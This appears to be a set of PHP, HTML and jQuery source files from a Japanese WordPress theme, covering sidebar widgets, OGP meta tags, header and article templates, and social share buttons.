imageView = jQuery('.fixed-image-view'); const deleteImage = jQuery('.fixed-delete-image'); jQuery('.fixed-select-image').on('click', function(e){ e.preventDefault(); if ( frame ) { frame.open(); return; } frame = wp.media({ title: '画像を選択', library: { type: 'image' }, button: { text: '画像を追加する' }, multiple: false }); frame.on('select', function(){ var images = frame.state().get('selection'); images.each(function(file) { placeholder.css('display', 'none'); imageUrl.val(file.toJSON().url); imageView.attr('src', file.toJSON().url).css('display', 'block'); deleteImage.css('display', 'inline-block'); }); imageUrl.trigger('change'); }); frame.open(); }); jQuery('.fixed-delete-image').off().on('click', function(e){ e.preventDefault(); imageUrl.val(''); imageView.css('display', 'none'); deleteImage.css('display', 'none'); imageUrl.trigger('change'); }); }); </script> </p> <p> <label for="<?php echo $cta_id1; ?>">タイトル:</label> <input class="widefat" id="<?php echo $cta_id1; ?>" name="<?php echo $cta_n1 ?>" type="text" value="<?php echo esc_attr($cta_ttl); ?>"> </p> <p> <label for="<?php echo $cta_id2; ?>">タイトル下のテキスト:</label> <input class="widefat" id="<?php echo $cta_id2; ?>" name="<?php echo $cta_n2 ?>" type="text" value="<?php echo esc_attr($cta_text); ?>"> </p> <p> <label for="<?php echo $cta_id3; ?>">ボタン内のテキスト:</label> <input class="widefat" id="<?php echo $cta_id3; ?>" name="<?php echo $cta_n3 ?>" type="text" value="<?php echo esc_attr($cta_btn); ?>"> </p> <p> <label for="<?php echo $cta_id4; ?>">ボタンのリンク先:</label> <input class="widefat" id="<?php echo $cta_id4; ?>" name="<?php echo $cta_n4 ?>" type="text" value="<?php echo esc_attr($cta_url); ?>"> </p> <?php } public function update($new_instance, $old_instance) { $instance = array(); $instance['cta_ttl'] = (!empty($new_instance['cta_ttl'])) ? $new_instance['cta_ttl'] : '' ; $instance['cta_text'] = (!empty($new_instance['cta_text'])) ? $new_instance['cta_text'] : '' ; $instance['cta_btn'] = (!empty($new_instance['cta_btn'])) ? $new_instance['cta_btn'] : '' ; $instance['cta_url'] = (!empty($new_instance['cta_url'])) ? $new_instance['cta_url'] : '' ; $instance['cta_img'] = (!empty($new_instance['cta_img'])) ? $new_instance['cta_img'] : '' ; return $instance; } } /**************** タブボックス ****************/ class TAB_Widget extends WP_Widget{ function __construct(){ parent::__construct('tab_widget','タブ',array( 'description' => 'タブボックスを表示します', )); } public function widget($args, $instance){ $tab_ttl = $instance['tab_ttl'] ? $instance['tab_ttl'] : 'タブボックス' ; $tab_ttl1 = $instance['tab_ttl1'] ? $instance['tab_ttl1'] : '<i class="fas fa-folder-open"></i>' ; $tab_con1 = $instance['tab_con1'] ? $instance['tab_con1'] : 'タブボックス' ; $tab_ttl2 = $instance['tab_ttl2'] ? $instance['tab_ttl2'] : '<i class="fas fa-pen-nib"></i>' ; $tab_con2 = $instance['tab_con2'] ? $instance['tab_con2'] : 'タブボックス' ; $tab_ttl3 = $instance['tab_ttl3'] ? $instance['tab_ttl3'] : '<i class="fas fa-fire"></i>' ; $tab_con3 = $instance['tab_con3'] ? $instance['tab_con3'] : 'タブボックス' ; $tab_ttl4 = $instance['tab_ttl4'] ? $instance['tab_ttl4'] : '<i class="fas fa-user-circle"></i>' ; $tab_con4 = $instance['tab_con4'] ? $instance['tab_con4'] : 'test' ; echo $args['before_widget']; echo '<h4 class="sidebar_title">'.$tab_ttl.'</h4><div class="widget_tab_body row">'. '<div class="col s12"><ul class="tabs">'. '<li class="tab col s3"><a href="#tab1" aria-label="タブ1のボタン">'.$tab_ttl1.'</a></li>'. '<li class="tab col s3"><a href="#tab2" aria-label="タブ2のボタン">'.$tab_ttl2.'</a></li>'. '<li class="tab col s3"><a href="#tab3" aria-label="タブ3のボタン">'.$tab_ttl3.'</a></li>'. '<li class="tab col s3"><a href="#tab4" aria-label="タブ4のボタン">'.$tab_ttl4.'</a></li>'. '</ul></div>'. '<div id="tab1" class="col s12">'.$tab_con1.'</div>'. '<div id="tab2" class="col s12">'.$tab_con2.'</div>'. '<div id="tab3" class="col s12">'.$tab_con3.'</div>'. '<div id="tab4" class="col s12">'.$tab_con4.'</div></div>'; echo $args['after_widget']; } public function form($instance){ $tab_ttl = $instance['tab_ttl'] ? $instance['tab_ttl'] : 'タブボックス' ; $tab_name = $this->get_field_name('tab_ttl'); $tab_id = $this->get_field_id('tab_ttl'); $tab_ttl1 = $instance['tab_ttl1'] ? $instance['tab_ttl1'] : '<i class="fas fa-folder-open"></i>'; $tab_ttl1n = $this->get_field_name('tab_ttl1'); $tab_ttl1id = $this->get_field_id('tab_ttl1'); $tab_con1 = $instance['tab_con1'] ? $instance['tab_con1'] : 'タブボックス'; $tab_con1n = $this->get_field_name('tab_con1'); $tab_con1id = $this->get_field_id('tab_con1'); $tab_ttl2 = $instance['tab_ttl2'] ? $instance['tab_ttl2'] : '<i class="fas fa-pen-nib"></i>'; $tab_ttl2n = $this->get_field_name('tab_ttl2'); $tab_ttl2id = $this->get_field_id('tab_ttl2'); $tab_con2 = $instance['tab_con2'] ? $instance['tab_con2'] : 'タブボックス'; $tab_con2n = $this->get_field_name('tab_con2'); $tab_con2id = $this->get_field_id('tab_con2'); $tab_ttl3 = $instance['tab_ttl3'] ? $instance['tab_ttl3'] : '<i class="fas fa-fire"></i>'; $tab_ttl3n = $this->get_field_name('tab_ttl3'); $tab_ttl3id = $this->get_field_id('tab_ttl3'); $tab_con3 = $instance['tab_con3'] ? $instance['tab_con3'] : 'タブボックス'; $tab_con3n = $this->get_field_name('tab_con3'); $tab_con3id = $this->get_field_id('tab_con3'); $tab_ttl4 = $instance['tab_ttl4'] ? $instance['tab_ttl4'] : '<i class="fas fa-user-circle"></i>'; $tab_ttl4n = $this->get_field_name('tab_ttl4'); $tab_ttl4id = $this->get_field_id('tab_ttl4'); $tab_con4 = $instance['tab_con4'] ? $instance['tab_con4'] : 'test'; $tab_con4n = $this->get_field_name('tab_con4'); $tab_con4id = $this->get_field_id('tab_con4'); ?> <p> <label for="<?php echo $tab_id; ?>">タイトル:</label> <input class="widefat" id="<?php echo $tab_id; ?>" name="<?php echo $tab_name ?>" type="text" value="<?php echo esc_attr($tab_ttl); ?>"> </p> <p> <label for="<?php echo $tab_ttl1id; ?>">タブ1のタイトル:</label> <input class="widefat" id="<?php echo $tab_ttl1id; ?>" name="<?php echo $tab_ttl1n ?>" type="text" value="<?php echo esc_attr($tab_ttl1); ?>"> <small>タブのタイトル部分です。文字を設定することも可能ですが、文字数が限られているため、FontAwesomeなど設定してください。</small> </p> <p> <label for="<?php echo $tab_con1; ?>">タブ1のコンテンツ:</label><br> <textarea class="widefat" id="<?php echo $tab_con1id; ?>" name="<?php echo $tab_con1n ?>" value="<?php echo esc_attr($tab_con1); ?>"><?php echo $tab_con1; ?></textarea> <small>タブのコンテンツ部分です。文章のほか、ショートコードやHTMLコードなどもご利用いただけます。</small> </p> <p> <label for="<?php echo $tab_ttl2id; ?>">タブ2のタイトル:</label> <input class="widefat" id="<?php echo $tab_ttl2id; ?>" name="<?php echo $tab_ttl2n ?>" type="text" value="<?php echo esc_attr($tab_ttl2); ?>"> </p> <p> <label for="<?php echo $tab_con2; ?>">タブ2のコンテンツ:</label><br> <textarea class="widefat" id="<?php echo $tab_con2id; ?>" name="<?php echo $tab_con2n ?>" value="<?php echo esc_attr($tab_con2); ?>"><?php echo $tab_con2; ?></textarea> </p> <p> <label for="<?php echo $tab_ttl3id; ?>">タブ3のタイトル:</label> <input class="widefat" id="<?php echo $tab_ttl3id; ?>" name="<?php echo $tab_ttl3n ?>" type="text" value="<?php echo esc_attr($tab_ttl3); ?>"> </p> <p> <label for="<?php echo $tab_con3; ?>">タブ3のコンテンツ:</label><br> <textarea class="widefat" id="<?php echo $tab_con3id; ?>" name="<?php echo $tab_con3n ?>" value="<?php echo esc_attr($tab_con3); ?>"><?php echo $tab_con3; ?></textarea> </p> <p> <label for="<?php echo $tab_ttl4id; ?>">タブ4のタイトル:</label> <input class="widefat" id="<?php echo $tab_ttl4id; ?>" name="<?php echo $tab_ttl4n ?>" type="text" value="<?php echo esc_attr($tab_ttl4); ?>"> </p> <p> <label for="<?php echo $tab_con4; ?>">タブ4のコンテンツ:</label><br> <textarea class="widefat" id="<?php echo $tab_con4id; ?>" name="<?php echo $tab_con4n ?>" value="<?php echo esc_attr($tab_con4); ?>"><?php echo $tab_con4; ?></textarea> </p> <?php } public function update($new_instance, $old_instance) { $instance = array(); $instance['tab_ttl'] = (!empty($new_instance['tab_ttl'])) ? $new_instance['tab_ttl'] : '' ; $instance['tab_ttl1'] = (!empty($new_instance['tab_ttl1'])) ? $new_instance['tab_ttl1'] : '' ; $instance['tab_con1'] = (!empty($new_instance['tab_con1'])) ? $new_instance['tab_con1'] : '' ; $instance['tab_ttl2'] = (!empty($new_instance['tab_ttl2'])) ? $new_instance['tab_ttl2'] : '' ; $instance['tab_con2'] = (!empty($new_instance['tab_con2'])) ? $new_instance['tab_con2'] : '' ; $instance['tab_ttl3'] = (!empty($new_instance['tab_ttl3'])) ? $new_instance['tab_ttl3'] : '' ; $instance['tab_con3'] = (!empty($new_instance['tab_con3'])) ? $new_instance['tab_con3'] : '' ; $instance['tab_ttl4'] = (!empty($new_instance['tab_ttl4'])) ? $new_instance['tab_ttl4'] : '' ; $instance['tab_con4'] = (!empty($new_instance['tab_con4'])) ? $new_instance['tab_con4'] : '' ; return $instance; } } /**************** プロフィールボックス ****************/ class Prof_Widget extends WP_Widget { function __construct(){ parent::__construct('prof_widget','プロフィール(サイドバー用)',array( 'description' => 'プロフィールボックスです。サイドバーに追加しましょう', )); } public function widget($args, $instance){ $prof_name = $instance['prof_name'] ? $instance['prof_name'] : 'Name' ; $prof_img = $instance['prof_img'] ? $instance['prof_img'] : ''; $prof_text = $instance['prof_text'] ? $instance['prof_text'] : 'SAMPLE TEXT'; echo $args['before_widget']; echo '<div class="profile_widget"><img width="150" height="150" data-src="'.$prof_img.'" alt="'.$prof_name.'のプロフィール画像" class="lazyload fadeinimg">'; echo '<div class="profile_info"><p class="profile_name">'.$prof_name.'</p>'; echo '<p class="profile_text">'.$prof_text.'</p>'; echo get_template_part('parts/others/follow_button'); echo '</div></div>'; echo $args['after_widget']; } public function form($instance) { $prof_name = $instance['prof_name']; $prof_img = $instance['prof_img']; $prof_text = $instance['prof_text']; $name_name = $this->get_field_name('prof_name'); $img_name = $this->get_field_name('prof_img'); $text_name = $this->get_field_name('prof_text'); $name_id = $this->get_field_id('prof_name'); $img_id = $this->get_field_id('prof_img'); $text_id = $this->get_field_id('prof_text'); ?> <p> <label for="<?php echo $name_id; ?>">名前:</label><br> <input class="widefat" id="<?php echo $name_id ?>" name="<?php echo $name_name ?>" type="text" value="<?php echo esc_attr($prof_name); ?>"> </p> <p> <label for="<?php echo $img_id; ?>">プロフィール画像:</label><br> <?php $show_sml = ''; $show_img = ''; if (empty($prof_img)){ $show_img = ' style="display: none;" '; }else{ $show_sml = ' style="display: none;" '; } ?> <small class="fixed-image-text " <?php echo $show_sml; ?>>画像が未選択です</small> <p><img class="fixed-image-view" src="<?php echo $prof_img; ?>" width="260" <?php echo $show_img; ?>></p> <input class="fixed-image-url" id="<?php echo $img_id; ?>" name="<?php echo $img_name ?>" type="text" value="<?php echo $prof_img; ?>"> <button type="button" class="fixed-select-image">画像を選択</button> <button type="button" class="fixed-delete-image" <?php echo $show_img; ?>>画像を削除</button> <script> jQuery(document).ready(function($) { var frame; const placeholder = jQuery('.fixed-image-text'); const imageUrl = jQuery('.fixed-image-url'); const imageView = jQuery('.fixed-image-view'); const deleteImage = jQuery('.fixed-delete-image'); jQuery('.fixed-select-image').on('click', function(e){ e.preventDefault(); if ( frame ) { frame.open(); return; } frame = wp.media({ title: '画像を選択', library: { type: 'image' }, button: { text: '画像を追加する' }, multiple: false }); frame.on('select', function(){ var images = frame.state().get('selection'); images.each(function(file) { placeholder.css('display', 'none'); imageUrl.val(file.toJSON().url); imageView.attr('src', file.toJSON().url).css('display', 'block'); deleteImage.css('display', 'inline-block'); }); imageUrl.trigger('change'); }); frame.open(); }); jQuery('.fixed-delete-image').off().on('click', function(e){ e.preventDefault(); imageUrl.val(''); imageView.css('display', 'none'); deleteImage.css('display', 'none'); imageUrl.trigger('change'); }); }); </script> </p> <p> <label for="<?php echo $text_id; ?>">プロフィール文:</label><br> <textarea class="widefat" id="<?php echo $text_id; ?>" name="<?php echo $text_name ?>" value="<?php echo esc_attr($prof_text); ?>"><?php echo $prof_text; ?></textarea> </p> <?php } function update($new_instance, $old_instance){ $instance = array(); $instance['prof_name'] = !empty($new_instance['prof_name']) ? $new_instance['prof_name'] : ''; $instance['prof_img'] = !empty($new_instance['prof_img']) ? $new_instance['prof_img'] : ''; $instance['prof_text'] = !empty($new_instance['prof_text']) ? $new_instance['prof_text'] : ''; return $instance; } } /**************** 人気記事 ****************/ class Popular_Posts extends WP_Widget { function __construct(){ parent::__construct('popular_posts','人気記事',array( 'description' => 'PV数の多い順で記事を表示します。カスタマイザー(運営設定)でPV計測機能のON/OFFが切り替え可能です。(デフォルトはON)オフにするとこのウィジェットはうまく機能しません。', )); } function form($instance) { if(empty($instance['title'])){ $instance['title'] = ''; } if(empty($instance['number'])){ $instance['number'] = 5; } ?> <p> <label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('タイトル:'); ?></label> <input type="text" class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" value="<?php echo esc_attr( $instance['title'] ); ?>"> </p> <p> <label for="<?php echo $this->get_field_id('number'); ?>"><?php _e('記事表示件数:'); ?></label> <input type="text" id="<?php echo $this->get_field_id('limit'); ?>" name="<?php echo $this->get_field_name('number'); ?>" value="<?php echo esc_attr( $instance['number'] ); ?>" size="3"> </p> <?php } /*カスタマイズ欄の入力内容が変更された場合の処理*/ function update($new_instance, $old_instance) { $instance = $old_instance; $instance['title'] = strip_tags($new_instance['title']); $instance['number'] = is_numeric($new_instance['number']) ? $new_instance['number'] : 5; return $instance; } /*ウィジェットのに出力される要素の設定*/ function widget($args, $instance) { extract($args); echo $before_widget; if(!empty($instance['title'])){ $title = apply_filters('widget_title', $instance['title'] ); } if (!empty($title)){ echo $before_title . $title . $after_title; } else { echo '<h4 class="sidebar_title">今週の人気記事</h4>'; } $number = !empty($instance['number']) ? $instance['number'] : get_option('number'); ?> <div class="popular_posts"> <ul class="popular_posts_lists"> <?php get_the_ID(); $args = array( 'meta_key' => 'post_views_count', 'orderby' => 'meta_value_num', 'order' => 'DESC', 'posts_per_page' => $number ); $my_query = new WP_Query($args);?> <?php while($my_query->have_posts()) : $my_query->the_post(); $loopcounter++; ?> <li class="popular_posts_list"> <a href="<?php the_permalink(); ?>"> <div class="rank_img"> <span class="rank rank_count<?php echo $loopcounter; ?>"><i class="fas fa-crown"></i></span> <?php if (has_post_thumbnail()): ?> <?php echo convert_src_for_lazyload(get_the_post_thumbnail($post->ID, 'minimum', array('class' => 'fadeinimg lazyload', 'width' => 80, 'height' => 80))); ?> <?php else: ?> <img data-src="<?php echo get_template_directory_uri(); ?>/images/default_thumbnail.png" alt="<?php the_title(); ?>" width="80" height="80" class="fadeinimg lazyload"> <?php endif; ?> </div> <div class="rank_ttl"> <span><?php the_title(); ?></span> </div> </a> </li> <?php endwhile; ?> <?php wp_reset_postdata(); ?> </ul> </div> <?php echo $after_widget; } } /**************** Adsenseブロック ****************/ class Adsense_Widget extends WP_Widget { function __construct(){ parent::__construct('adsense_widget','アドセンス用広告ウィジェット',array( 'description' => '通常カスタムHTMLウィジェットにて広告の追加はできますが、横幅などがはみ出てしまった場合などはこちらをご利用ください', )); } public function widget($args, $instance){ $adsense_name = $instance['adsense_name']; $adsense_code = $instance['adsense_code']; echo $args['before_widget']; if($adsense_name != null){ echo '<p class="adsense_name">'.$adsense_name.'</p>'; } echo '<div class="adsense_code">'.$adsense_code.'</div>'; echo $args['after_widget']; } public function form($instance) { $adsense_name = $instance['adsense_name']; $adsense_code = $instance['adsense_code']; $name_name = $this->get_field_name('adsense_name'); $code_name = $this->get_field_name('adsense_code'); $name_id = $this->get_field_id('adsense_name'); $code_id = $this->get_field_id('adsense_code'); ?> <p> <label for="<?php echo $name_id; ?>">タイトル:</label><br> <input class="widefat" id="<?php echo $name_id ?>" name="<?php echo $name_name ?>" type="text" value="<?php echo esc_attr($adsense_name); ?>"> </p> <p> <label for="<?php echo $code_id; ?>">広告コード:</label><br> <textarea class="widefat" id="<?php echo $code_id; ?>" name="<?php echo $code_name ?>" value="<?php echo esc_attr($adsense_code); ?>"><?php echo $adsense_code; ?></textarea> </p> <?php } function update($new_instance, $old_instance){ $instance = array(); $instance['adsense_name'] = !empty($new_instance['adsense_name']) ? $new_instance['adsense_name'] : ''; $instance['adsense_code'] = !empty($new_instance['adsense_code']) ? $new_instance['adsense_code'] : ''; return $instance; } } /**************** 新着記事ウィジェット ****************/ class RecentPosts_Widget extends WP_Widget_Recent_Posts{ public function widget($args, $instance){ if (!isset($args['widget_id'])) { $args['widget_id'] = $this->id; } $title = (!empty($instance['title'])) ? $instance['title'] : '最新の記事'; $number = (!empty($instance['number'])) ? absint($instance['number']) : 5; if(!$number){ $number = 5; } $show_date = isset($instance['show_date']) ? $instance['show_date'] : false; $getposts = new WP_Query(apply_filters('widget_posts_args', array( 'posts_per_page' => $number, 'no_found_rows' => true, 'post_status' => 'publish', 'ignore_sticky_posts' => true, ))); if ($getposts->have_posts()) { echo $args['before_widget']; if ($title) { echo $args['before_title'].$title.$args['after_title']; } ?> <ul class="recent_posts_lists"> <?php while ($getposts->have_posts()): $getposts->the_post();?> <li class="recent_posts_list"> <a href="<?php the_permalink();?>"> <div class="recent_img"> <?php if (has_post_thumbnail()): ?> <?php echo convert_src_for_lazyload(get_the_post_thumbnail($post->ID, 'minimum', array('class' => 'fadeinimg lazyload', 'width' => 80, 'height' => 80))); ?> <?php else: ?> <img data-src="<?php echo get_template_directory_uri(); ?>/images/default_thumbnail.png" alt="<?php the_title(); ?>" width="80" height="80" class="fadeinimg lazyload"> <?php endif; ?> </div> <div class="recent_ttl"> <?php if ($show_date): ?> <span class="recent_date"><?php echo get_the_date('Y/m/d'); ?></span> <?php endif;?> <span><?php the_title(); ?></span> </div> </a> </li> <?php endwhile;?> </ul> <?php echo $args['after_widget']; ?> <?php wp_reset_postdata(); } } } unregister_widget('WP_Widget_Recent_Posts'); register_widget('TOC_Widget'); register_widget('CTA_Widget'); register_widget('TAB_Widget'); register_widget('Prof_Widget'); register_widget('Popular_Posts'); register_widget('Adsense_Widget'); register_widget('RecentPosts_Widget'); } //END register_widgets() <file_sep><?php //////////////////// //条件分岐に伴う変数定義 //////////////////// if( is_single() && !is_home() || is_page() && !is_front_page()) { //タイトル $title = get_the_title(); //ディスクリプション if(!empty($post->post_excerpt)) { $description = str_replace(array("\r\n", "\r", "\n", "&nbsp;"), '', strip_tags($post->post_excerpt)); } elseif(!empty($post->post_content)) { $description = str_replace(array("\r\n", "\r", "\n", "&nbsp;"), '', strip_tags($post->post_content)); $description_count = mb_strlen($description, 'utf8'); if($description_count > 120) { $description = mb_substr($description, 0, 120, 'utf8').'…'; } } else { $description = ''; } //キーワード if (has_tag()) { $tags = get_the_tags(); $kwds = array(); $i = 0; foreach($tags as $tag){ $kwds[] = $tag->name; if($i === 4) { break; } $i++; } $keywords = implode(',',$kwds); } else { $keywords = ''; } //ページタイプ $page_type = 'article'; //ページURL $page_url = get_the_permalink(); //OGP用画像 if(!empty(get_post_thumbnail_id())) { $ogp_img_data = wp_get_attachment_image_src(get_post_thumbnail_id(),'full'); $ogp_img = $ogp_img_data[0]; } } else { //投稿ページ以外 //先に投稿・固定ページ以外の詳細な条件分岐 if(is_category()) { $title = single_cat_title("", false).'の記事一覧'; if(!empty(category_description())) { $description = strip_tags(category_description()); } else { $description = 'カテゴリー『'.single_cat_title("", false).'』の記事一覧ページです。'; } } elseif(is_tag()) { $title = single_cat_title("", false).'の記事一覧'; if(!empty(tag_description())) { $description = strip_tags(tag_description()); } else { $description = 'タグ『'.single_cat_title("", false).'』の記事一覧ページです。'; } } elseif(is_year()) { $title = get_the_time("Y年").'の記事一覧'; $description = '『'.get_the_time("Y年").'』に投稿された記事の一覧ページです。';//指定したい場合は個別に入力 } elseif(is_month()) { $title = get_the_time("Y年m月").'の記事一覧'; $description = '『'.get_the_time("Y年m月").'』に投稿された記事の一覧ページです。';//指定したい場合は個別に入力 } elseif(is_day()) { $title = get_the_time("Y年m月d日").'の記事一覧'; $description = '『'.get_the_time("Y年m月d日").'』に投稿された記事の一覧ページです。';//指定したい場合は個別に入力 } elseif(is_author()) { $author_id = get_query_var('author'); $author_name = get_the_author_meta( 'display_name', $author_id ); $title = $author_name.'が投稿した記事一覧'; $description = '『'.$author_name.'』が書いた記事の一覧ページです。'; } else { //home||frontpage $title = ''; $description = get_option( 'meta_description' ); if (empty($description)){ $description = get_bloginfo('name').'('.home_url().')'.'は見やすく美しいサイトです。©'.date('Y').' '.get_bloginfo('name'); } } //キーワード $allcats = get_categories(); if(!empty($allcats)) { $kwds = array(); $i = 0; foreach($allcats as $allcat) { $kwds[] = $allcat->name; if($i === 4) { break; } $i++; } $keywords = implode( ',',$kwds ); } else { $keywords = ''; } //ページタイプ $page_type = 'website'; //ページURL $http = is_ssl() ? 'https'.'://' : 'http'.'://'; $page_url = $http.$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]; } //OGP用画像 if(empty($ogp_img)) { $ogp_img = get_template_directory_uri().'/images/ogp_img.jpg'; } //タイトル if(!empty($title)) { $output_title = $title.' | '.get_bloginfo('name'); } else { $title = get_bloginfo('name'); $output_title = get_bloginfo('name'); } //SNS OGP $tw_account = get_option('site_ogp_tw_account'); $tw_cardtype = get_option('site_ogp_tw_card'); if ($tw_cardtype == 'value1'){ $tw_card = 'summary_large_image'; } else { $tw_card = 'summary'; } $fb_appid = get_option('site_ogp_fb_appid'); $main_c = get_option('site_color_main'); ?> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title><?php echo $output_title; ?></title> <meta name="description" content="<?php echo $description; ?>"> <meta name="keywords" content="<?php echo $keywords; ?>"> <meta property="og:type" content="<?php echo $page_type; ?>"> <meta property="og:locale" content="ja_JP"> <meta property="og:title" content="<?php echo $title; ?>"> <meta property="og:url" content="<?php echo $page_url; ?>"> <meta property="og:description" content="<?php echo $description; ?>"> <meta property="og:image" content="<?php echo $ogp_img; ?>"> <meta property="og:site_name" content="<?php bloginfo( 'name' ); ?>"> <?php if (is_tag() || is_404() || is_date() || is_search()) : //重複扱いなりそうなページではnoindex ?> <meta name="robots" content="noindex"> <?php endif; ?> <?php //TWITTER ?> <?php if(!empty($tw_account)): ?> <meta name="twitter:site" content="@<?php echo $tw_account ?>"> <?php endif; ?> <meta name="twitter:card" content="<?php echo $tw_card ?>"> <meta name="twitter:description" content="<?php echo $description; ?>"> <meta name="twitter:image:src" content="<?php echo $ogp_img; ?>"> <?php //FACEBOOK ?> <?php if (!empty($fb_appid)): ?> <meta property="fb:app_id" content="<?php echo $fb_appid ?>" /> <?php endif; ?> <?php //その他 ?> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="msapplication-tilecolor" content="<?php echo $main_c ?>"> <meta name="theme-color" content="<?php echo $main_c ?>"> <file_sep><!DOCTYPE html> <html lang="ja"> <head prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# article: http://ogp.me/ns/article#"> <?php get_template_part('parts/head/meta') ?> <?php get_template_part('parts/head/link') ?> <?php wp_head(); ?> </head> <?php $fixanm = get_option('site_nav_fixed_top_anime') ? get_option('site_nav_fixed_top_anime') : false ;?> <body <?php body_class(); ?><?php if($fixanm == true){echo ' data-delighter="start:-0.01;end:-99999"';} ?>> <div class="headerArea"> <?php $priority = get_option('site_bone_priority') ? get_option('site_bone_priority') : false ; $cssfw = get_option('site_cssfw_choice') ? get_option('site_cssfw_choice') : 'value2' ; $sitetype = get_option('site_bone_type') ? get_option('site_bone_type') : 'value1' ; $nothome = get_option('site_dyheader_notTop') ? get_option('site_dyheader_notTop') : false ; //ナビメニューより先にダイナミックヘッダー呼び出す設定で、 if ($sitetype == 'value3' && $priority == true || $sitetype == 'value4' && $priority == true ){ // ホーム画面である or カスタマイザーの設定(ホーム画面以外でもダイナミックヘッダー表示)がONになってる if( is_home() || is_front_page() || $nothome == true && is_single() || $nothome == true && is_page()){ get_template_part('parts/header/dynamic_header_contents'); } } // CSSフレームワークが開発者向けのものでなければマテリアライズのを呼び出す if ($cssfw != 'value1'){ get_template_part('parts/header/header_contents'); } //ナビメニューより先にダイナミックヘッダー呼び出す設定でなく、 if ($sitetype == 'value3' && $priority == false || $sitetype == 'value4' && $priority == false ){ // ホーム画面である or カスタマイザーの設定(ホーム画面以外でもダイナミックヘッダー表示)がONになってる if( is_home() || is_front_page() || $nothome == true && is_single() || $nothome == true && is_page()){ get_template_part('parts/header/dynamic_header_contents'); } } //サイトのタイプがLP風ならフューチャー呼び出し if( $sitetype == 'value4' && is_home() || $sitetype == 'value4' && is_front_page()) { get_template_part('parts/others/features'); } ?> </div> <file_sep><?php //シンプル(普通) ?> <?php $share = get_option('site_article_share') ? get_option('site_article_share') : 'value1' ; $share_bf = get_option('site_article_sharebf_type') ? get_option('site_article_sharebf_type') : 'value1' ; $share_af = get_option('site_article_shareaf_type') ? get_option('site_article_shareaf_type') : 'value1' ; $share_ttl = get_option('site_article_share_ttl') ? get_option('site_article_share_ttl') : 'SHARE' ; ?> <?php if(have_posts()):the_post(); ?> <?php custom_breadcrumb(); ?> <article <?php post_class('articleType1'); ?>> <div class="article_container"> <div class="article_meta_info"> <!--投稿日--> <span class="article_date"> <time datetime="<?php echo get_the_date('Y-m-d'); ?>"> <?php echo get_post_time('Y/m/d'); ?> </time> <?php if(get_the_date('Y/m/d') != get_the_modified_date('Y/m/d')): ?> <time datetime="<?php echo the_modified_date('Y-m-d'); ?>"> <?php echo the_modified_date('Y/m/d'); ?> </time> <?php endif; ?> </span> </div> <!--タイトル--> <div class="article_title"> <h1><?php the_title(); ?></h1> </div> <!--アイキャッチ--> <div class="article_thumbnail"> <?php if (has_post_thumbnail()): ?> <?php the_post_thumbnail('eyecatch', array('alt' => $ttl, 'class' => 'fadeinimg lazyload', 'width' => 520, 'height' => 300)); ?> <?php else: ?> <img src="<?php echo get_template_directory_uri(); ?>/images/default_thumbnail.png" alt="<?php echo $ttl ?>" width="520" height="300" class="lazyload"> <?php endif; ?> </div> <!--シェアアイキャッチ下--> <?php if($share=='value1'||$share=='value2'): ?> <div class="article_share before_share<?php output_type_class($share_bf,'share'); ?>"> <?php get_template_part('parts/others/sharebutton') ?> </div> <?php endif; ?> <!--本文--> <div class="article_content painttoc"> <?php the_content(); ?> <!--記事最下部広告エリア--> <?php if(is_active_sidebar('ad_after_content')): ?> <?php dynamic_sidebar('ad_after_content'); ?> <?php endif; ?> </div> <!--タグ--> <div class="article_tag"> <?php the_tags('<span>Tag:</span>'); ?> </div> <!--シェア記事下--> <?php if($share=='value1'||$share=='value3'): ?> <p class="share_af_ttl article_af_ttl"><?php echo $share_ttl ?></h3> <div class="article_share after_share<?php output_type_class($share_af,'share'); ?>"> <?php get_template_part('parts/others/sharebutton') ?> </div> <?php endif; ?> <!--シェア記事下の下広告エリア--> <?php if(is_active_sidebar('ad_bottom_content')): ?> <?php dynamic_sidebar('ad_bottom_content'); ?> <?php endif; ?> </div> <?php ld_json(); ?> </article> <?php endif; ?> <file_sep><div class="sharebutton"> <ul class="sharebutton_list"> <li class="share_button share_twitter"> <a href="http://twitter.com/intent/tweet?text=<?php echo urlencode(the_title("","",0)); ?>&amp;<?php echo urlencode(get_permalink()); ?>&amp;url=<?php echo urlencode(get_permalink()); ?>" target="_blank" rel="nofollow noopener noreferrer" title="Twitterで共有" aria-label="Twitterで共有"> <i class="fab fa-twitter"></i> </a> </li> <li class="share_button share_facebook"> <a href="https://www.facebook.com/sharer/sharer.php?u=<?php the_permalink() ?>&t=<?php the_title() ?>" target="blank" rel="nofollow noopener noreferrer" aria-label="Facebookで共有"> <i class="fab fa-facebook"></i></a> </li> <li class="share_button share_hatena"> <a href="http://b.hatena.ne.jp/add?mode=confirm&amp;url=<?php echo urlencode(get_permalink()); ?>&amp;title=<?php echo urlencode(the_title("","",0)); ?>" target="_blank" rel="nofollow noopener noreferrer" data-hatena-bookmark-title="<?php the_permalink(); ?>" title="このエントリーをはてなブックマークに追加" aria-label="はてブで共有"> B! </a> </li> <li class="share_button share_pocket"> <a href="https://getpocket.com/edit?url=<?php echo urlencode(get_permalink()); ?>&amp;title=<?php echo urlencode(the_title("","",0)); ?>" target="blank" rel="nofollow noopener noreferrer" aria-label="pocketで共有"> <i class="fab fa-get-pocket"></i> </a> </li> <li class="share_button share_line"> <a href="https://social-plugins.line.me/lineit/share?url=<?php echo urlencode(get_permalink()); ?>" target="_blank" rel="nofollow noopener noreferrer" title="Lineで共有" aria-label="LINEで共有"> <i class="fab fa-line"></i> </a> </li> </ul> </div> <file_sep><?php function add_customizerCSS(){ //サイトの骨組み $siteType = get_option('site_bone_type'); //ヘッダー $navShadow = get_option('site_others_nav_shadow') ? get_option('site_others_nav_shadow') : false; //ダークモード $darkModeOn = get_option('site_bone_dark') ? get_option('site_bone_dark') : false; //コンテンツエリア横幅 $contentArea = get_option('site_bone_content_area') ? get_option('site_bone_content_area') : '1200'; //サイドバー $sidebarLeft = get_option('site_bone_sidebar'); //ダイナミックヘッダー $dyheaderFontSize = get_option('site_dyheader_text_size') ? get_option('site_dyheader_text_size') : '200'; $dyheaderFontColor = get_option('site_dyheader_text_color'); $dyheaderWidth = get_option('site_dyheader_width') ? get_option('site_dyheader_width') : '1200'; $dyheaderHeight = 